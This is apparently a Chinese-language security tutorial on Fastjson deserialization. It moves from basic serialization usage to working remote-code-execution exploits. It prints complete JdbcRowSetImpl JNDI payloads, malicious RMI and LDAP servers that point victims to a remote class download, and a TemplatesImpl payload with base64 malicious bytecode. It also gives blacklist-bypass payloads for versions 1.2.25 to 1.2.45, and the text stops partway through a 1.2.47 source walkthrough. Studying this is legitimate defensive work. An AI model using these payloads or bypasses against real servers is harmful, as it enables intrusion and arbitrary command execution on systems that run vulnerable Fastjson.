Fastjson
FastJson简介
Fastjson是阿里巴巴的开源JSON解析库,它可以解析 JSON 格式的字符串,支持将 Java Object 序列化为 JSON 字符串,也可以从 JSON 字符串反序列化到 Java Object。
Fastjson提供了两个主要接口来分别实现对于Java Object的序列化和反序列化操作。
JSON.toJSONStringJSON.parseObject/JSON.parse
FastJson的简单使用
对于Fastjson来讲,并不是所有的Java对象都能被转为JSON,只有Java Bean格式的对象才能Fastjson被转为JSON。
首先先在pom.xml里导入fastjson的依赖
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
定义一个person类
package fastjson;
public class person {
public int age;
public String name;
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public void setAge(int age) {
this.age = age;
}
public int getAge() {
return age;
}
}
可以使用Alt+insert快捷键生成java bean
Fastjson中用于序列化和反序列化的方法如下
//序列化
String text = JSON.toJSONString(obj);
//反序列化
VO vo = JSON.parse(); //解析为JSONObject类型或者JSONArray类型
VO vo = JSON.parseObject("{...}"); //JSON文本解析成JSONObject类型
VO vo = JSON.parseObject("{...}", VO.class); //JSON文本解析成VO.class类
下面简单测试
package fastjson;
import com.alibaba.fastjson.JSON;
public class FastJson_Learn {
public static void main(String[] args) {
//创建一个java bean对象
Person person = new Person();
person.setAge(18);
person.setName("Xin");
System.out.println("----------序列化----------");
//将其序列化成JSON并输出
String JSON_Serialize = JSON.toJSONString(person);
System.out.println(JSON_Serialize);
System.out.println("----------反序列化----------");
//使用parse方法,将JSON反序列化为一个JSONObject
Object o1 = JSON.parse(JSON_Serialize);
System.out.println(o1.getClass().getName());
System.out.println(o1);
System.out.println("----------反序列化----------");
//使用parseObject方法,把JSON反序列化为一个JSONObject
Object o2 = JSON.parseObject(JSON_Serialize);
System.out.println(o2.getClass().getName());
System.out.println(o2);
System.out.println("----------反序列化----------");
//使用parseObject方法,并指定类,将JSON反序列化为一个指定的类对象
Object o3 = JSON.parseObject(JSON_Serialize,Person.class);
System.out.println(o3.getClass().getName());
System.out.println(o3);
}
}
输出结果
----------序列化----------
{"age":18,"name":"Xin"}
----------反序列化----------
com.alibaba.fastjson.JSONObject
{"name":"Xin","age":18}
----------反序列化----------
com.alibaba.fastjson.JSONObject
{"name":"Xin","age":18}
----------反序列化----------
fastjson.Person
fastjson.Person@61e4705b
可以看到,如果我们反序列化时不指定特定的类,那么Fastjosn就默认将一个JSON字符串反序列化为一个JSONObject。反序列化运行时不可以获取类中私有属性的值,如果要还原出 private 的属性的话,还需要在JSON.parseObject/JSON.parse中加上Feature.SupportNonPublicField参数。(如果私有属性有setter方法的话不会有影响,但是一般私有属性不会有setter方法的,加了就没必要声明为private了)
public class FastJson_Learn {
public static void main(String[] args) {
// 带有私有属性 passwd 的 JSON 字符串
String jsonStr = "{\"@type\":\"fastjson.Person\",\"age\":18,\"name\":\"Faster\",\"passwd\":\"12345\"}";
System.out.println("--- 实验 1:不加任何参数(默认行为) ---");
try {
// 不加 Feature.SupportNonPublicField
Person p1 = (Person) JSON.parse(jsonStr);
System.out.println("反序列化结果 -> " + p1);
} catch (Exception e) {
e.printStackTrace();
}
System.out.println("\n--- 实验 2:加入 SupportNonPublicField 参数(暴力破限) ---");
try {
// 核心:加上 Feature.SupportNonPublicField
Person p2 = (Person) JSON.parse(jsonStr, Feature.SupportNonPublicField);
System.out.println("反序列化结果 -> " + p2);
} catch (Exception e) {
e.printStackTrace();
}
}
}
执行结果
--- 实验 1:不加任何参数(默认行为) ---
调用了构造函数
调用了setAge方法
调用了setName方法
反序列化结果 -> Person{age=18, name='Faster', passwd='null'}
--- 实验 2:加入 SupportNonPublicField 参数(暴力破限) ---
调用了构造函数
调用了setAge方法
调用了setName方法
反序列化结果 -> Person{age=18, name='Faster', passwd='12345'}
这样就可以读到私有属性的值。
FastJson中的@type
当我们在使用Fastjson序列化对象的时候,如果toJSONString()方法不添加额外的属性,那么就会将一个Java Bean转换成JSON字符串。例如{"age":18,"name":"Xin","passwd":"123456"}
如果我们想把JSON字符串反序列化成Java Object,可以使用parse()方法。该方法默认将JSON字符串反序列化为一个JSONObject对象。例如{"passwd":"123456","name":"Xin","age":18}
有两种方法可以将JSON字符串反序列化成原始的类
一个就是刚才用的在反序列化的时候,在parseObject()方法中手动指定对象的类型
Object o3 = JSON.parseObject(JSON_Serialize,Person.class);
System.out.println(o3.getClass().getName());
System.out.println(o3);
结果
fastjson.Person
fastjson.Person@108c4c35
还有一种方法就是序列化的时候,在toJSONString()方法中添加额外的属性SerializerFeature._WriteClassName_,将对象类型一并序列化,如下所示
String JSON_Serialize = JSON.toJSONString(person, SerializerFeature.WriteClassName);
System.out.println(JSON_Serialize);
结果如下,Fastjson在JSON字符串中添加了一个@type字段,用于标识对象所属的类。
{"@type":"fastjson.Person","age":18,"name":"Xin","passwd":"123456"}
在反序列化该JSON字符串的时候,parse()方法就会根据@type标识将其转为原来的类。
String JSON_Serialize1 = "{\"@type\":\"Person\",\"age\":18,\"name\":\"Faster\"}";
System.out.println(JSON.parse(JSON_Serialize1));
结果如下
Person@4bf558aa
fastjson序列化用的是toJSONString()函数,反序列化用的是parse()或者parseObject()函数,parse()会自动调用setter函数,parseObject()会自动调用setter和getter函数
@type可以标识对象所属的类,如果标识的类里面的setter或者getter方法有恶意逻辑,就可以命令执行
FastJson调用流程简单分析
序列化
我通过toJSONString()方法能够将一个Java对象序列化为JSON字符串,我们简单调试一下,在setter和getter加上输出。
public class FastJson_Learn {
public static void main(String[] args) {
Person person = new Person();
System.out.println("----------序列化----------");
String JSON_Serialize = JSON.toJSONString(person);
}
}
结果如下
----------序列化----------
调用了getAge方法
调用了getName方法
调用了getpasswd方法
可以看到toJSONString()方法实际是通过调用getter来获取对象属性值的,进而根据这些属性值生成JSON字符串。
反序列化
下面我们来重点关注一下parse()方法是如何将一个JSON字符串反序列化为一个JSONObject对象的
parseObject()只是对于parse()做了封装,判断返回的对象是否为JSONObject实例并强转为JSONObject类。
public static JSONObject parseObject(String text) {
Object obj = parse(text);
if (obj instanceof JSONObject) {
return (JSONObject) obj;
}
return (JSONObject) JSON.toJSON(obj);
}
下面我们来测试一下,首先不使用@type标识
String JSON_Serialize1 = "{\"age\":18,\"name\":\"Faster\"}";
System.out.println(JSON.parse(JSON_Serialize1));
结果如下
{"name":"Faster","age":18}
由于没有指定对象所属的类,Fastjson只是默认将JSON反序列化为了JSONObject。
下面我们再来看看加上@type标识的情况,这里我们使用parse()方法反序列化
public class FastJson_Learn {
public static void main(String[] args) {
String JSON_Serialize1 = "{\"@type\":\"fastjson.Person\",\"age\":18,\"name\":\"Faster\",\"passwd\":\"123456\"}";
JSON.parse(JSON_Serialize1);
}
}
结果如下
调用了构造函数
调用了setAge方法
调用了setName方法
调用了setpasswd方法
可以推测出在反序列化过程中,会parse()先调用@type标识的类的构造函数,然后再调用setter给对象赋值。
而parseObject()方法会同时调用setter和getter
String JSON_Serialize1 = "{\"@type\":\"fastjson.Person\",\"age\":18,\"name\":\"Faster\",\"passwd\":\"123456\"}";
System.out.println(JSON.parseObject(JSON_Serialize1));
结果入下
调用了构造函数
调用了setAge方法
调用了setName方法
调用了setpasswd方法
调用了getAge方法
调用了getName方法
调用了getpasswd方法
{"passwd":"123456","name":"Faster","age":18}
可以看见parseObject()方法返回的是一个JSON Object对象,因为该方法实际上是调用parse()方法,然后调用toJSON()方法将返回值强转为JSON Object。
所以这里调用setter的实际上是parse()方法,调用getter的是toJSON()方法。
如果我们不使用@type,而是在parseObject()中手动指定类
String JSON_Serialize1 = "{\"age\":18,\"name\":\"Faster\",\"passwd\":\"123456\"}";
System.out.println(JSON.parseObject(JSON_Serialize1,Person.class));
调用setter,返回指定类对象
调用了构造函数
调用了setAge方法
调用了setName方法
调用了setpasswd方法
fastjson.Person@2cdf8d8a
源码分析
在DefaultJSONParser#parseObject方法中,通过scanSymbol()方法来解析出表示符@type
key = lexer.scanSymbol(symbolTable, '"');
lexer.skipWhitespace();
接着通过反射加载@type指向的com.sun.rowset.JdbcRowSetImpl类
if (key == JSON.DEFAULT_TYPE_KEY && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
String typeName = lexer.scanSymbol(symbolTable, '"');
Class<?> clazz = TypeUtils.loadClass(typeName, config.getDefaultClassLoader());
反射加载的类的时候会对类进行黑名单检查,黑名单中只有Thread类
在反序列化类的时候会一步步判断,然后根据类来生成不同的deserializer。但是我们的JdbcRowSetImpl类并不在其中,所以会调用createJavaBeanDeserializer()方法生成一个deserializer
跟进,在JavaBeanInfo#build中会反射获取类的属性和方法
接着就会根据JSON字符串中的键值对来调用相应的setter。
Fastjson反序列化漏洞
根据上文的分析,在反序列化时,parse触发了set方法,parseObject同时触发了set和get方法,由于存在这种autoType特性。如果@type标识的类中的setter或getter方法存在恶意代码,那么就有可能存在fastjson反序列化漏洞。
demo
Calc.java
package fastjson;
import java.io.IOException;
import java.security.PublicKey;
public class Calc {
public String calc;
public Calc(){
System.out.println("调用了构造函数");
}
public String getCalc(){
System.out.println("调用了getCalc");
return calc;
}
public void setCalc(String calc) throws IOException {
this.calc = calc;
Runtime.getRuntime().exec("calc");
System.out.println("调用了setter");
}
}
FastJson_Learn.java
public class FastJson_Learn {
public static void main(String[] args) {
String JSON_Calc = "{\"@type\":\"fastjson.Calc\",\"calc\":\"Faster\"}";
System.out.println(JSON.parseObject(JSON_Calc));
}
}

成功执行了setter中的恶意代码。因此,只要我们能找到一个合适的Java Bean,其setter或getter存在可控参数,则有可能造成任意命令执行。
Fastjson <=1.2.24
我们先来看最开始的漏洞版本是<=1.2.24,在这个版本前是默认支持@type这个属性的
这个版本的fastjson有两条利用链——JdbcRowSetImpl和Templateslmpl
JdbcRowSetImpl利用链
JdbcRowSetImpl利用链最终的结果是导致JNDI注入,可以结合JNDI的攻击手法进行利用。是通用性最强的利用方式,在以下三种反序列化中均可使用,JDK版本限制和JNDI类似。
parse(jsonStr)
parseObject(jsonStr)
parseObject(jsonStr,Object.class)
RMI+JNDI
JDK版本为JDK8u_65
受害客户端 Fastjson_Jdbc_RMI.java
package fastjson;
import com.alibaba.fastjson.JSON;
public class Fastjson_Jdbc_RMI {
public static void main(String[] args) {
String payload = "{"+
"\"@type\":\"com.sun.rowset.JdbcRowSetImpl\","+
"\"dataSourceName\":\"rmi://127.0.0.1:1099/hello\","+
"\"autoCommit\":true"+
"}";
JSON.parse(payload);
}
}
恶意RMI服务端 RMI_Server_Reference.java
package fastjson;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;
public class RMI_Server_Reference {
void register() throws Exception{
LocateRegistry.createRegistry(1099);
Reference reference = new Reference("RMIHello","RMIHello","http://127.0.0.1:8888/");
ReferenceWrapper refObjWrapper = new ReferenceWrapper(reference);
Naming.bind("rmi://127.0.0.1:1099/hello",refObjWrapper);
System.out.println("Registry运行中......");
}
public static void main(String[] args) throws Exception {
new RMI_Server_Reference().register();
}
}
先运行恶意RMI服务端,再编译一个恶意的RMIHello.class文件用python起一个httpserver服务,监听8888端口。
再运行客户端就可以命令执行。

利用链分析
问题出在JdbcRowSetImpl#setDataSourceName和JdbcRowSetImpl#setAutoCommit方法中存在可控的参数
setDataSourceName()方法会设置dataSource的值
而setAutoCommit()会调用Connect()方法。所以这里AutoCommit的值其实没有用到
这里lookup()方法的参数正是dataSource,我们可以将dataSource控制为我们想要的服务地址。
触发链
- Fastjson 反序列化:当 Fastjson 解析
{"@type":"com.sun.rowset.JdbcRowSetImpl", ...}时,通过@type指定了目标类。 - 触发 Getter/Setter:Fastjson 会自动调用
setAutoCommit(true)。 - JNDI 触发:在
setAutoCommit内部,会触发javax.naming.InitialContext.lookup(dataSourceName)。 - 远程加载:由于
dataSourceName是 RMI 协议,客户端去连接 RMI 注册表。注册表返回了一个Reference对象,指示客户端去http://127.0.0.1:8888/下载RMIHello类。 - 代码执行:客户端下载了
RMIHello.class并通过URLClassLoader实例化它,触发了里面的static静态代码块,从而执行了系统命令。
简单来说就是JdbcRowSetImpl类中有一个 setDataSourceName() 方法和一个 setAutoCommit() 方法。当 setAutoCommit(true)被调用时,内部会触发lookup()JNDI查询,而DataSourceName被指定为攻击者的RMI或者LDAP恶意服务地址,剩下的就是访问恶意RMI或者LDAP服务,返回reference找到URL下载.class文件,加载触发RCE
LDAP+JNDI
我们只需要更改一下payload即可,受害客户端
package fastjson;
import com.alibaba.fastjson.JSON;
public class Fastjson_Jdbc_LDAP {
public static void main(String[] args) {
String payload = "{"+
"\"@type\":\"com.sun.rowset.JdbcRowSetImpl\","+
"\"dataSourceName\":\"ldap://127.0.0.1:9999/RMIHello\","+
"\"autoCommit\":true"+
"}";
JSON.parse(payload);
}
}
LDAP服务器 LDAP_Server.java
package fastjson;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
public class LDAP_Server {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main ( String[] tmp_args ) {
String[] args=new String[]{"http://127.0.0.1:8888/#RMIHello"};
int port = 9999;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
ds.startListening();
}
catch ( Exception e ) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}
@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "foo");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}
原理与RMI类似,
JDK 引入了 com.sun.jndi.rmi.object.trustURLCodebase 属性,默认值改为了 false,那就不可以访问远程URL了,但是如果JDK ≤ JDK 8u191,依然可以用ldap,这个的com.sun.jndi.ldap.object.trustURLCodebase直到后面的版本才默认改为false。
触发流程和ldap类似。
TemplatesImpl利用链
Fastjson通过bytecodes字段传入恶意类,调用outputProperties属性的getter方法时,实例化传入的恶意类,调用其构造方法,造成任意命令执行。
其实TemplatesImpl这条链在我们构造CC3的时候已经利用过了,原因是TemplatesImpl#getTransletInstance中调用了defineClass()进行动态类加载,而其中的构造参数我们容易控制,这就造成了一些反序列化漏洞。
但该链的利用面较窄,由于payload需要赋值的一些属性为private类型,需要在parse()反序列化时设置第二个参数Feature.SupportNonPublicField,服务端才能从JSON中恢复private类型的属性。
Fastjson_Temp.java
package fastjson;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
public class Fastjson_Temp {
public static void main(String[] args) {
ParserConfig config = new ParserConfig();
String text = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"yv66vgAAADIANAoABwAlCgAmACcIACgKACYAKQcAKgoABQAlBwArAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAtManNvbi9UZXN0OwEACkV4Y2VwdGlvbnMHACwBAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHAC0BAARtYWluAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEABGFyZ3MBABNbTGphdmEvbGFuZy9TdHJpbmc7AQABdAcALgEAClNvdXJjZUZpbGUBAAlUZXN0LmphdmEMAAgACQcALwwAMAAxAQAEY2FsYwwAMgAzAQAJanNvbi9UZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABwAAAAAABAABAAgACQACAAoAAABAAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAIACwAAAA4AAwAAABEABAASAA0AEwAMAAAADAABAAAADgANAA4AAAAPAAAABAABABAAAQARABIAAQAKAAAASQAAAAQAAAABsQAAAAIACwAAAAYAAQAAABcADAAAACoABAAAAAEADQAOAAAAAAABABMAFAABAAAAAQAVABYAAgAAAAEAFwAYAAMAAQARABkAAgAKAAAAPwAAAAMAAAABsQAAAAIACwAAAAYAAQAAABwADAAAACAAAwAAAAEADQAOAAAAAAABABMAFAABAAAAAQAaABsAAgAPAAAABAABABwACQAdAB4AAgAKAAAAQQACAAIAAAAJuwAFWbcABkyxAAAAAgALAAAACgACAAAAHwAIACAADAAAABYAAgAAAAkAHwAgAAAACAABACEADgABAA8AAAAEAAEAIgABACMAAAACACQ=\"],'_name':'a.b','_tfactory':{ },\"_outputProperties\":{ }}";
JSON.parseObject(text, Object.class, config, Feature.SupportNonPublicField);
}
}
成功执行

源码分析
前面我们分析过,Fastjson在反序列化的时候,会自动调用类的getter和setter来为类的属性赋值。那么TemplatesImpl这条链又是怎样和Fastjson联系起来的呢?
对于TemplatesImpl链,我们的最终目标是调用defineClass()进行动态类加载。而该类中的getOutputProperties()方法能够最终走到defineClass(),并且格式也符合getter,下面我们简单的分析一下。

该方法调用了TemplatesImpl#newTransformer,跟进

继续跟进getTransletInstance()

跟进defineTransletClasses(),最终在该类中调用了defineClass()

根据上文的分析,我们的思路就很清晰了。构造一个TemplatesImpl类的JSON,并且将_outputProperties赋值,这样Fastjson在反序列化时就会调用getOutputProperties()方法了。
但在实际的payload构造过程中,还是有一些值得注意的地方的。
首先看getTransletInstance()方法
这里的限制如下
- 属性
_name的值不为null - 属性
_class的值为null
接着跟进到defineTransletClasses()方法,其中__bytecodes为我们传入的恶意字节码
这里同样有两个限制 - 这里调用了
_tfactory.getExternalExtensionsMap(),也就是说_tfactory的值不为null - 加载的恶意类必须为
AbstractTranslet类的子类
这里还有一个小问题,我们传入的_bytecodes为bytes类型,而Fastjson在解析的时候会将bytes类型进行base64加密,解密的过程相反。所以这里我们需要将恶意类的字节码base64加密。
payload格式
{
\"@type\":
\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",
\"_outputProperties\":{ },
'_name':'a.b',
'_tfactory':{ },
\"_bytecodes\":[\"base64\"]
}
其中恶意类为
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class Payload extends AbstractTranslet {
public Payload() throws IOException{
Runtime.getRuntime().exec("calc");
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
public static void main(String[] args) throws IOException {
Payload payload = new Payload();
}
}
编译为.class文件后进行base64加密即可。
简单来讲就是com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl这个类里有getOutputProperties符合getter格式,最终可以调用到defineClass,加载字节码触发命令执行
总之在这个版本是默认开启AutoType的,可以使用@type加载任意类,也没有任何黑白名单
高版本绕过
1.2.25-1.2.41绕过
我们先来看一看1.2.25是如何修复反序列化漏洞的
在1.2.24版本会直接加载@type指向的类,而1.2.25版本增加了对类的checkAutoType()检查,会对要加载的类进行白名单和黑名单限制,并且引入了一个配置参数AutoTypeSupport。
Fastjson默认AutoTypeSupport为False(默认开启白名单机制),需要通过服务端使用以下代码手动关闭,这一点是高版本一个难以绕过的地方。
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
可以看到在开启白名单的条件下无法加载到我们的利用类

在1.2.25-1.2.41里这个配置是无法绕过的,只有先在客户端的main方法配置上ParserConfig.getGlobalInstance().setAutoTypeSupport(true);才可以后续利用
这里我们修改autoTypeSupport=true
我们跟进TypeUtils#loadClass看一下

- 如果以
[开头则去掉[后进行类加载(在之前Fastjson已经判断过是否为数组了,实际走不到这一步) - 如果以
L开头,以;结尾,则去掉开头和结尾进行类加载
那么加上L开头和;结尾实际上就可以绕过所有黑名单。Payload如下
"{"+
"\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\","+
"\"dataSourceName\":\"ldap://127.0.0.1:9999/RMIHello\","+
"\"autoCommit\":true"+
"}";
成功执行

简单来说就是默认开启了白名单限制(autoTypeSupport = false),这个难以绕过,但是如果autoTypeSupport = true时,就是使用黑名单了,黑名单可以在类名前面加L类名后面加;,这样就可以绕过黑名单,不影响类加载
1.2.42绕过
1.2.42相较于之前的版本,关键是在ParserConfig.java中修改了以下两点
- 黑名单改为了hash值,防止绕过
- 对于传入的类名,删除开头
L和结尾的;
虽然说利用hash可以让我们不知道禁用了什么类,但是加密方式是有写com.alibaba.fastjson.parser.ParserConfig#addDeny中的com.alibaba.fastjson.util.TypeUtils#fnv1a_64,我们理论上可以遍历jar,字符串,类去碰撞得到这个hash的值。(因为常用的包是有限的)
但是可以发现在以上的处理中,只删除了一次开头的L和结尾的;,这里就好像使用黑名单预防SQL注入,只删除了一次敏感词汇的防御错误一样,双写就可以轻易的绕过。
payload
"{"+
"\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\","+
"\"dataSourceName\":\"ldap://127.0.0.1:9999/RMIHello\","+
"\"autoCommit\":true"+
"}";
成功执行

这个就是因为修复时把开头L和末尾;自动裁剪了,但是只删除了一次,依然可以双写绕过
1.2.43版本绕过
1.2.43版本修改了checkAutoType()的部分代码,对于LL等开头结尾的字符串直接抛出异常。
if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(className.length() - 1)) * 1099511628211L == 655701488918567152L) {
if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(1)) * 1099511628211L == 655656408941810501L) {
throw new JSONException("autoType is not support. " + typeName);
}
className = className.substring(1, className.length() - 1);
}
我们可以通过[{绕过,Payload如下
"{"+
"\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{,"+
"\"dataSourceName\":\"ldap://127.0.0.1:9999/RMIHello\","+
"\"autoCommit\":true"+
"}";
首先在恶意类前添加[,变成"[com.sun.rowset.JdbcRowSetImpl",会报错
exepct '[', but ,, pos 42, json : {"@type":"[com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://127.0.0.1:9999/RMIHello","autoCommit":true}
根据提示在逗号前添加[,变成"[com.sun.rowset.JdbcRowSetImpl"[,仍报错
syntax error, expect {, actual string, pos 43, fastjson-version 1.2.43
继续在逗号前添加{,变成 "[com.sun.rowset.JdbcRowSetImpl"[{,成功执行

修复了,只要出现LL就会抛出错误,但是可以在恶意类前面加[末尾加[{来绕过,这是因为java把这个识别成数组,绕过黑名单,但是最终依然会正常解析
1.2.44修复
修复了对[的限制
1.2.45绕过
1.2.45版本添加了一些黑名单,但是存在组件漏洞,我们能通过mybatis组件进行JNDI接口调用,进而加载恶意类。
首先引入依赖
<dependency>
<groupId>org.mybatis</groupId>
<artifactId>mybatis</artifactId>
<version>3.5.6</version>
</dependency>
Payload如下
{
"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
"properties":{
"data_source":"ldap://127.0.0.1:9999/EXP"
}
}
执行成功

1.2.47通杀绕过
该版本Payload能够绕过`checkAutoType`内的各种检测,原理是通过Fastjson自带的缓存机制将恶意类加载到Mapping中,从而绕过checkAutoType检测。
前半——将恶意类写入mapping缓存
查看checkAutoType()源码
public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
//前面是对typeName格式的各种检测,这里我们暂时跳过
//开启autoTypeSupport,则进入白名单+黑名单检测
if (autoTypeSupport || expectClass != null) {
long hash = h3;
for (int i = 3; i < className.length(); ++i) {
hash ^= className.charAt(i);
hash *= PRIME;
//白名单检测,这里无法绕过
if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
if (clazz != null) {
return clazz;
}
}
//黑名单检测,这里有一个从Maping里寻找类名的判断,这是绕过的关键
if (Arrays.binarySearch(denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}
if (clazz == null) {
//从Maping缓冲中加载类
clazz = TypeUtils.getClassFromMapping(typeName);
}
if (clazz == null) {
//从deserializer中加载类
clazz = deserializers.findClass(typeName);
}
if (clazz != null) {
if (expectClass != null
&& clazz != java.util.HashMap.class
&& !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
//通过上面两个方法加载类后返回
return clazz;
}
//默认开启白名单的情况
if (!autoTypeSupport) {
long hash = h3;
for (int i = 3; i < className.length(); ++i) {
char c = className.charAt(i);
hash ^= c;
hash *= PRIME;
//黑名单校验
if (Arrays.binarySearch(denyHashCodes, hash) >= 0) {
throw new JSONException("autoType is not support. " + typeName);
}
//白名单校验
if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
if (clazz == null) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
}
if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz;
}
}
}
if (clazz == null) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
}
if (clazz != null) {
if (TypeUtils.getAnnotation(clazz,JSONType.class) != null) {
return clazz;
}
if (ClassLoader.class.isAssignableFrom(clazz) // classloader is danger
|| DataSource.class.isAssignableFrom(clazz) // dataSource can load jdbc driver
) {
throw new JSONException("autoType is not support. " + typeName);
}
if (expectClass != null) {
if (expectClass.isAssignableFrom(clazz)) {
return clazz;
} else {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
}
JavaBeanInfo beanInfo = JavaBeanInfo.build(clazz, clazz, propertyNamingStrategy);
if (beanInfo.creatorConstructor != null && autoTypeSupport) {
throw new JSONException("autoType is not support. " + typeName);
}
}
final int mask = Feature.SupportAutoType.mask;
boolean autoTypeSupport = this.autoTypeSupport
|| (features & mask) != 0
|| (JSON.DEFAULT_PARSER_FEATURE & mask) != 0;
